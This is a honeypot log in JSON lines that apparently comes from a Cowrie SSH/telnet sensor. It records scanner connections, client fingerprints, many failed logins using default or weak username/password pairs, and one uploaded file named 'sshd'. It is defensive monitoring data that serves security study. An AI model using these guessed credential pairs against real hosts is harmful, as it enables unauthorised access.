{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:29.076975Z","src_ip":"34.85.163.94","session":"65539fbd3235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootadmin","password":"Rootadmin123","message":"login attempt [rootadmin/Rootadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:29.315393Z","src_ip":"34.85.163.94","session":"65539fbd3235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wireguard","password":"123456","message":"login attempt [wireguard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:29.678018Z","src_ip":"213.209.159.158","session":"af2de5c1575d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:30.329442Z","src_ip":"34.85.163.94","session":"65539fbd3235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:32.927343Z","src_ip":"213.209.159.158","session":"af2de5c1575d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43806,"dst_ip":"159.203.135.109","dst_port":22,"session":"83c2ea402b68","protocol":"ssh","message":"New connection: 213.209.159.158:43806 (159.203.135.109:22) [session: 83c2ea402b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:33.017894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:35.641634Z","src_ip":"213.209.159.158","session":"83c2ea402b68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:35.644769Z","src_ip":"213.209.159.158","session":"83c2ea402b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyatta","password":"vyatta","message":"login attempt [vyatta/vyatta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:45.318993Z","src_ip":"213.209.159.158","session":"83c2ea402b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:48.626742Z","src_ip":"213.209.159.158","session":"83c2ea402b68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":44162,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbf9f3f6547e","protocol":"ssh","message":"New connection: 213.209.159.158:44162 (159.203.135.109:22) [session: dbf9f3f6547e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:48.705555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:51.239150Z","src_ip":"213.209.159.158","session":"dbf9f3f6547e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:51.242855Z","src_ip":"213.209.159.158","session":"dbf9f3f6547e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:55.617092Z","src_ip":"147.139.136.75","session":"53673890a81c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.842501163482666,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:34:55.620190Z","src_ip":"147.139.136.75","session":"53673890a81c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"alluxio","password":"alluxio","message":"login attempt [alluxio/alluxio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:00.994942Z","src_ip":"213.209.159.158","session":"dbf9f3f6547e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:04.800438Z","src_ip":"213.209.159.158","session":"dbf9f3f6547e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15284,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a2d6c695a9b","protocol":"ssh","message":"New connection: 213.209.159.158:15284 (159.203.135.109:22) [session: 5a2d6c695a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:04.879688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:07.103042Z","src_ip":"213.209.159.158","session":"5a2d6c695a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:07.108016Z","src_ip":"213.209.159.158","session":"5a2d6c695a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:16.853215Z","src_ip":"213.209.159.158","session":"5a2d6c695a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:20.144737Z","src_ip":"213.209.159.158","session":"5a2d6c695a9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27360,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a48f047219d","protocol":"ssh","message":"New connection: 213.209.159.158:27360 (159.203.135.109:22) [session: 3a48f047219d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:20.223856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:22.535008Z","src_ip":"213.209.159.158","session":"3a48f047219d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:22.537964Z","src_ip":"213.209.159.158","session":"3a48f047219d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":56794,"dst_ip":"159.203.135.109","dst_port":22,"session":"1de7e600958d","protocol":"ssh","message":"New connection: 20.26.135.100:56794 (159.203.135.109:22) [session: 1de7e600958d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:23.485849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:23.497156Z","src_ip":"20.26.135.100","session":"1de7e600958d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:23.582982Z","src_ip":"20.26.135.100","session":"1de7e600958d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maks","password":"makspass","message":"login attempt [maks/makspass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:23.970676Z","src_ip":"20.26.135.100","session":"1de7e600958d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:25.063849Z","src_ip":"20.26.135.100","session":"1de7e600958d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"arkserver","message":"login attempt [ark/arkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:32.459838Z","src_ip":"213.209.159.158","session":"3a48f047219d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:35.860369Z","src_ip":"213.209.159.158","session":"3a48f047219d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48234,"dst_ip":"159.203.135.109","dst_port":22,"session":"658f97e7c3df","protocol":"ssh","message":"New connection: 213.209.159.158:48234 (159.203.135.109:22) [session: 658f97e7c3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:35.938915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:38.545559Z","src_ip":"213.209.159.158","session":"658f97e7c3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:38.550335Z","src_ip":"213.209.159.158","session":"658f97e7c3df","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/2f2ec51142bb83273f2613ee5a871fc3b783cedf35d9bf67a35f66f08bea4c29","shasum":"2f2ec51142bb83273f2613ee5a871fc3b783cedf35d9bf67a35f66f08bea4c29","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/2f2ec51142bb83273f2613ee5a871fc3b783cedf35d9bf67a35f66f08bea4c29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:42.863551Z","src_ip":"60.13.54.161","session":"389357230ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.6","message":"Connection lost after 301.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:42.867289Z","src_ip":"60.13.54.161","session":"389357230ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot321","message":"login attempt [bot/bot321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:48.188753Z","src_ip":"213.209.159.158","session":"658f97e7c3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":37834,"dst_ip":"159.203.135.109","dst_port":22,"session":"86967b3cfad1","protocol":"ssh","message":"New connection: 185.196.10.253:37834 (159.203.135.109:22) [session: 86967b3cfad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:48.821612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:48.825612Z","src_ip":"185.196.10.253","session":"86967b3cfad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:48.934893Z","src_ip":"185.196.10.253","session":"86967b3cfad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dp","password":"dp1234","message":"login attempt [dp/dp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:49.405423Z","src_ip":"185.196.10.253","session":"86967b3cfad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:50.516959Z","src_ip":"185.196.10.253","session":"86967b3cfad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:51.331168Z","src_ip":"213.209.159.158","session":"658f97e7c3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":22968,"dst_ip":"159.203.135.109","dst_port":22,"session":"92a4a2bf0c16","protocol":"ssh","message":"New connection: 213.209.159.158:22968 (159.203.135.109:22) [session: 92a4a2bf0c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:51.409992Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44288,"dst_ip":"159.203.135.109","dst_port":22,"session":"779e04b23fda","protocol":"ssh","message":"New connection: 60.199.224.2:44288 (159.203.135.109:22) [session: 779e04b23fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:52.088480Z"}
